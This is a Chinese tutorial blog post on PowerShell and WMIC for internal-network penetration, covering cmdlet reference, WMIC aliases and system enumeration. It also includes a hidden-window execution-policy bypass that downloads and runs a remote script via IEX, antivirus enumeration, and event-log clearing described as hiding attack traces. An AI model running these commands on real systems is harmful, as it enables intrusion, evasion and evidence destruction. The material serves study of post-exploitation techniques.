内网渗透 | powershell&wmic详解

文章目录

  • 引子
  • PowerShell
    • 0x001基本概念
    • 0x002命令格式
    • 0x003基本使用
    • 0x004常用命令
    • 0x005powershell脚本
    • 0x006参考文章
  • WMIC
    • 0x001基本概念
    • 0x002命令格式
    • 0x003常用命令
      • 1、目标系统相关
      • 2、用户管理
    • 0x004参考文章

引子

之前在内网渗透,免杀中到处能看到powershell和wmic的身影,功能还是非常强大的,但一直没有系统的学习过他们,对他们还是一知半解,现在有空了系统的学习下并记录学习笔记。

PowerShell

0x001基本概念

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。内置在Windows版本中,可以看成是cmd命令的扩充,所包含的命令兼容cmd。

0x002命令格式

在powershell下,类似cmd命令叫做cmdlet(command-let)。
cmdlet是本机PowerShell命令,而不是独立的可执行文件。cmdlet收集在 PowerShell模块中,可按需加载。可以用任何编译的.NET 语言或PowerShell 脚本语言本身来编写cmdlet。
cmdlet命名比较规范都采用”动词-名词“的形式。
动词标识cmdlet执行的操作,名词标识该cmdlet执行其操作的所在资源。
动词一般为Add、New、Get、Remove、Set、Clear等,名词一般都是动词作用的资源。

0x003基本使用

get-help来查看帮助。
内网渗透 | powershell&wmic详解_第1张图片
get-command查看powershell支持的命令,有很多的命令,这里只截取一部分。

CommandType Name Definition
表示命令类型,Alias是别名、Cmdlet是powershell格式的命令、Function是函数 具体的命令 命令功能的简单描述。

![(https://img-blog.csdnimg.cn/944b4cec34114fc3b4852c2d48b3d9aa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAMWFuY2Uu,size_20,color_FFFFFF,t_70,g_se,x_16)
内网渗透 | powershell&wmic详解_第2张图片
内网渗透 | powershell&wmic详解_第3张图片

0x004常用命令

命令不缺分大小写且支持tab补全。

  • 文件目录操作
new-item 123 -itemtype Directory           #新建123目录
new-item 123.txt -itemtype file			  #新建123.txt文件
set-content 123.txt -value "Hello,word!"   #设置123.txt文件内容
get-content 123.txt                        #显示123.txt文件内容
add-content 123.txt -value "LOVE"          #追加内容
clear-content 123.txt                      #清除文件内容
remove-item 123.txt                        #删除123.txt文件
remove-item 123                            #删除123目录
get-childitem                              #显示当前路径下的文件和目录

内网渗透 | powershell&wmic详解_第4张图片

  • Get类
Get-Command  #得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息。              #包括Cmdlet、Alias、Function。
Get-Process  #获取所有进程
Get-Help     #显示有关 Windows PowerShell 命令和概念的信息
Get-History  #获取在当前会话中输入的命令的列表
Get-Job      #获取在当前会话中运行的 Windows PowerShell 后台作业
Get-FormatData #获取当前会话中的格式数据
Get-Event     #获取事件队列中的事件
Get-Alias     #获取当前会话的别名
Get-Culture   #获取操作系统中设置的当前区域性
Get-Date    #获取当前日期和时间
Get-Host    #获取表示当前主机程序的对象
Get-Member  #获取对象的属性和方法。
如:$var = 3
$var | get-member

Get-Random     #从集合中获取随机数或随机选择对象
Get-UICulture  #获取操作系统中当前用户界面 (UI) 区域性设置
Get-Unique     #从排序列表返回唯一项目
Get-Variable   #获取当前控制台中的变量
Get-EventLog   #获取本地或远程计算机上的事件日志或事件日志列表中的事件
Get-ChildItem  #获取一个或多个指定位置中的项和子项
Get-Content    #获取指定位置的项的内容
Get-ItemProperty #获取指定项的属性
Get-WmiObject   #获取 Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息
Get-Location    #获取当前工作位置的相关信息(如:F:\Users\TaoMin )
Get-PSDrive     #获取当前会话中的 Windows PowerShell 驱动器
Get-Item        #获取位于指定位置的项
Get-Service     #获取本地或远程计算机上的服务
Get-Transaction #获取当前(活动)事务
Get-ExecutionPolicy#获取当前会话中的执行策略
  • Set类
Set-Alias   #在当前 Windows PowerShell 会话中为 cmdlet 或其他命令元素创建或更改别名(替代名称)
如:Set-Alias aaa Get-Command
Set-PSDebug      #打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式
Set-StrictMode   #建立和强制执行表达式、脚本和脚本块中的编码规则
Set-Date         #将计算机上的系统时间更改为指定的时间
Set-Variable     #设置变量的值,如果该变量还不存在,则创建该变量
Set-PSBreakpoint #在行、命令或者变量上设置断点
Set-Location     #将当前工作位置设置为指定的位置
Set-Item         #将项的值更改为命令中指定的值
Set-Service      #启动、停止和挂起服务并更改服务的属性
Set-Content      #在项中写入内容或用新内容替换其中的内容
Set-ItemProperty #创建或更改某一项的属性值
Set-WmiInstance  #创建或更新现有 Windows Management Instrumentation (WMI) 类的实例
Set-ExecutionPolicy #更改 Windows PowerShell 执行策略的用户首选项。
  • Write类
Write-Host      #将自定义输出内容写入主机。类似于.net的 write()或者writeline()功能
Write-Progress  #在 Windows PowerShell 命令窗口内显示进度栏
Write-Debug     #将调试消息写入控制台
Write-Verbose   #将文本写入详细消息流
Write-Warning   #写入警告消息
Write-Error     #将对象写入错误流
Write-Output    #将指定对象发送到管道中的下一个命令;如果该命令是管道中的最后一个命令,则在控制台上显示这些对象
Write-EventLog  #将事件写入事件日志

0x005powershell脚本

powershell脚本其实是简单的文本文件,文件包含了一系列powershell命令,每个命令显示为独立的一行,脚本文件后缀为.ps1

执行脚本: 为了防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略设为受限。
Get-ExecutionPolicy获取当前会话中的执行策略
在这里插入图片描述

Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。

可通过Set-ExecutionPolicy 修改执行策略。

脚本编写可参考文章:https://www.jianshu.com/p/b69040c074b7

绕过执行策略执行脚本:

  1. 绕过本地权限执行
    上传shell.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。

    powerShell.exe -ExecutionPolicy Bypass -File shell.ps1
    
  2. 本地隐藏绕过权限执行脚本

    powerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File shell.ps1
    
  3. 用IEX下载远程PS1脚本绕过权限执行

    PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("shell.ps1");[Parameters]
    

下面对上述命令的参数进行说明,如下所示。

ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP): PowerShell控制台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

0x006参考文章

https://www.jianshu.com/p/b69040c074b7
https://www.cnblogs.com/lsdb/p/9531338.html
官方文档

WMIC

0x001基本概念

wmi 命令行 (WMIC) 实用工具提供 Windows Management Instrumentation (WMI) 的命令行接口。 WMIC 与现有 shell 和实用工具命令兼容。 官方文档

0x002命令格式

包含全局开关,“动词”,函数别名即名词。命令格式和PowerShell一样也是"动词+名词+参数"。

  • 全局开关
    全局开关是可以全局设置或根据需要设置的 WMIC 选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。
    名称 描述
    /NAMESPACE 别名在其上操作的命名空间的路径。
    /ROLE 包含别名定义的角色的路径。
    /NODE 别名在其上操作的服务器。
    /IMPLEVEL 客户端模拟级别。
    /AUTHLEVEL 客户端身份验证级别。
    /LOCALE 客户端应使用的语言 ID。
    /PRIVILEGES 启用或禁用所有权限。
    /TRACE 将调试信息输出到 stderr。
    /RECORD 记录所有输入命令和输出内容。
    /INTERACTIVE 设置或重置交互模式。
    /FAILFAST 设置或重置 FailFast 模式。
    /USER 会话期间要使用的用户。
    /PASSWORD 登录会话时要使用的密码。
    /OUTPUT 指定输出重定向模式。
    /APPEND 指定输出重定向模式。
    /AGGREGATE 设置或重置聚合模式。
    /AUTHORITY 指定连接的 <授权类型>。
    /?[:] 用法信息。/NAMESPACE /?:BRIEF
  • 动词
  1. ASSOC: 返回查询的结果 Associators of () ,其中 路径 命令返回的对象的路径。 结果是与对象关联的实例。 将 ASSOC 与别名一起使用时,将返回具有别名的类的类。 默认情况下,以 HTML 格式返回输出。eg:OS ASSOC
    ASSOC 谓词具有以下开关。
    开关 说明
    /RESULTCLASS: < classname> 与源对象关联的返回终结点必须属于或派生自指定的类。
    /RESULTROLE: <> 返回的终结点必须在与源对象的关联中扮演特定角色。
    /ASSOCCLASS: < ASSOCCLASS> 返回的终结点必须通过指定的类或其派生类之一与源关联。
  2. CALL: 执行方法。启动telnet服务:
    CAPTION = 'TELNET' CALL STARTSERVICE
  3. CREATE: 创建一个新的实例,并设置属性值。 CREATE 不能用于创建新类。eg: 环境变量名称 = "TEMP"; VARIABLEVALUE = "NEW"
  4. DELETE: 删除当前实例或实例集。可以使用 DELETE 来删除类。eg:NAME = "CALC.EXE" DELETE process
  5. GET: 获取特点属性的值。
    eg: PROCESS where name="lsass.exe" get processid
  6. List: 显示数据。
  • 函数别名
当前角色中可以使用以下别名:
ALIAS                    - 对本地系统上可用别名的访问
BASEBOARD                - 基板(也称为主板或系统板)管理。
BIOS                     - 基本输入/输出服务(BIOS)管理。
BOOTCONFIG               - 启动配置管理。
CDROM                    - CD-ROM 管理。
COMPUTERSYSTEM           - 计算机系统管理。
CPU                      - CPU 管理。
CSPRODUCT                - SMBIOS 中的计算机系统产品信息。
DATAFILE                 - 数据文件管理。
DCOMAPP                  - DCOM 应用程序管理。
DESKTOP                  - 用户的桌面管理。
DESKTOPMONITOR           - 桌面监视器管理。
DEVICEMEMORYADDRESS      - 设备内存地址管理。
DISKDRIVE                - 物理磁盘驱动器管理。
DISKQUOTA                - 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL               - 直接内存访问(DMA)通道管理。
ENVIRONMENT              - 系统环境设置管理。
FSDIR                    - 文件系统目录项管理。
GROUP                    - 组帐户管理。
IDECONTROLLER            - IDE 控制器管理。
IRQ                      - 中断请求线路(IRQ)管理。
JOB                      - 提供对使用计划服务安排的作业的访问。
LOADORDER                - 定义执行依赖关系的系统服务的管理。
LOGICALDISK              - 本地存储设备管理。
LOGON                    - 登录会话。
MEMCACHE                 - 缓存内存管理。
MEMORYCHIP               - 内存芯片信息。
MEMPHYSICAL              - 计算机系统的物理内存管理。
NETCLIENT                - 网络客户端管理。
NETLOGIN                 - 网络登录信息(属于特定用户)管理。
NETPROTOCOL              - 协议(及其网络特征)管理。
NETUSE                   - 活动网络连接管理。
NIC                      - 网络接口控制器(NIC)管理。
NICCONFIG                - 网络适配器管理。
NTDOMAIN                 - NT 域管理。
NTEVENT                  - NT 事件日志中的项目。
NTEVENTLOG               - NT 事件日志文件管理。
ONBOARDDEVICE            - 主板(系统板)中内置的通用适配器设备的管理。
OS                       - 已安装操作系统的管理。
PAGEFILE                 - 虚拟内存文件交换管理。
PAGEFILESET              - 页面文件设置管理。
PARTITION                - 物理磁盘的已分区区域的管理。
PORT                     - I/O 端口管理。
PORTCONNECTOR            - 物理连接端口管理。
PRINTER                  - 打印机设备管理。
PRINTERCONFIG            - 打印机设备配置管理。
PRINTJOB                 - 打印作业管理。
PROCESS                  - 进程管理。
PRODUCT                  - 安装程序包任务管理。
QFE                      - 快速修复工程。
QUOTASETTING             - 卷上的磁盘配额设置信息。
RDACCOUNT                - 远程桌面连接权限管理。
RDNIC                    - 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS            - 特定远程桌面连接的权限。
RDTOGGLE                 - 远程打开或关闭远程桌面侦听程序。
RECOVEROS                - 操作系统出现故障时将从内存收集的信息。
REGISTRY                 - 计算机系统注册表管理。
SCSICONTROLLER           - SCSI 控制器管理。
SERVER                   - 服务器信息管理。
SERVICE                  - 服务应用程序管理。
SHADOWCOPY               - 卷影副本管理。
SHADOWSTORAGE            - 卷影副本存储区域管理。
SHARE                    - 共享资源管理。
SOFTWAREELEMENT          - 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE          - SoftwareElement 的软件产品子集的管理。
SOUNDDEV                 - 声音设备管理。
STARTUP                  - 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT               - 系统帐户管理。
SYSDRIVER                - 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE          - 物理系统外壳管理。
SYSTEMSLOT               - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE                - 磁带驱动器管理。
TEMPERATURE              - 温度传感器(电子温度计)数据管理。
TIMEZONE                 - 时区数据管理。
UPS                      - 不间断电源(UPS)管理。
USERACCOUNT              - 用户帐户管理。
VOLTAGE                  - 电压传感器(电子电压表)数据管理。
VOLUME                   - 本地存储卷管理。
VOLUMEQUOTASETTING       - 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA          - 每用户存储卷配额管理。
WMISET                   - WMI 服务操作参数管理。

有关特定别名的详细信息,请键入: alias /?

CLASS     - 按 Esc 键可获取完整 WMI 架构。
PATH      - 按 Esc 键可获取完整 WMI 对象路径。
CONTEXT   - 显示所有全局开关的状态。
QUIT/EXIT - 退出程序。

0x003常用命令

注意:请不要在本机上试验命令。

1、目标系统相关

  1. 获取主机名,域名,制造商,设备型号,用户名,用户名角色。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
  1. 获取账户名、安装日期、本地组成员状态、域名、SID以及相应的状态。
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
  1. 创建进程。
wmic process call create "taskmgr.exe"
  1. 修改进程优先级
    降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。bypass杀软
wmic process where name="explorer.exe" call set priority 64
  1. 终止进程
wmic process where name="explorer.exe" call terminate
  1. 获取可执行文件列表
    枚举出整个系统中所有可执行文件的路径地址
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
  1. 获取目录属性
    WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等:
wmic fsdir where "drive='C:' and filename='test'" get /format:list
  1. 获取文件属性
  wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
  1. 定位系统文件
    WMIC可以提取出所有重要系统文件的路径
wmic environment get Description, VariableValue
  1. 获取已安装的应用系统程序
wmic product get name
  1. 获取目标系统正在运行的服务
wmic service where (state="running") get caption, name, startmode
  1. 获取操作系统详情
    os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等。
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpTime, NumberofProcesses, NumberofUsers, Organization, Status /format:list
  1. 获取系统驱动详情
    sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据。
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
  1. 获取主板信息和BIOS序列号
wmic baseboard get Manufacturer, Product, SerialNumber, Version
wmic bios get serialNumber
  1. 获取内存缓存数据
    memcache选项可以获取到内存缓存名和块大小等信息:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
  1. 获取内存芯片信息
    memorychip选项可以获取到RAM的相关信息,例如序列号等等:
wmic memorychip get PartNumber, SerialNumber
  1. 判断目标系统是否为虚拟机
    根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list

2、用户管理

  1. 锁定用户账号
    使用useraccount选项来锁定本地用户账号:
wmic useraccount where name='demo' set disabled=false
  1. 用户账号重命名
wmic useraccount where name='demo' rename test
  1. 限制用户修改密码
    限制本地用户的密码修改操作:
wmic useraccount where name='test' set passwordchangeable=false
  1. 获取反病毒产品详情
    枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
  1. 清理系统日志
    WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
wmic nteventlog where filename='system'  call cleareventlog
wmic nteventlog where (description like "%webshell%")  call cleareventlog

0x004参考文章

https://blog.csdn.net/discover2210212455/article/details/82711930
https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
https://www.cnblogs.com/DiZhang/p/12544793.html
https://docs.microsoft.com/zh-cn/windows/win32/wmisdk/wmic?redirectedfrom=MSDN

你可能感兴趣的:(内网渗透,WMIC,PowerShell)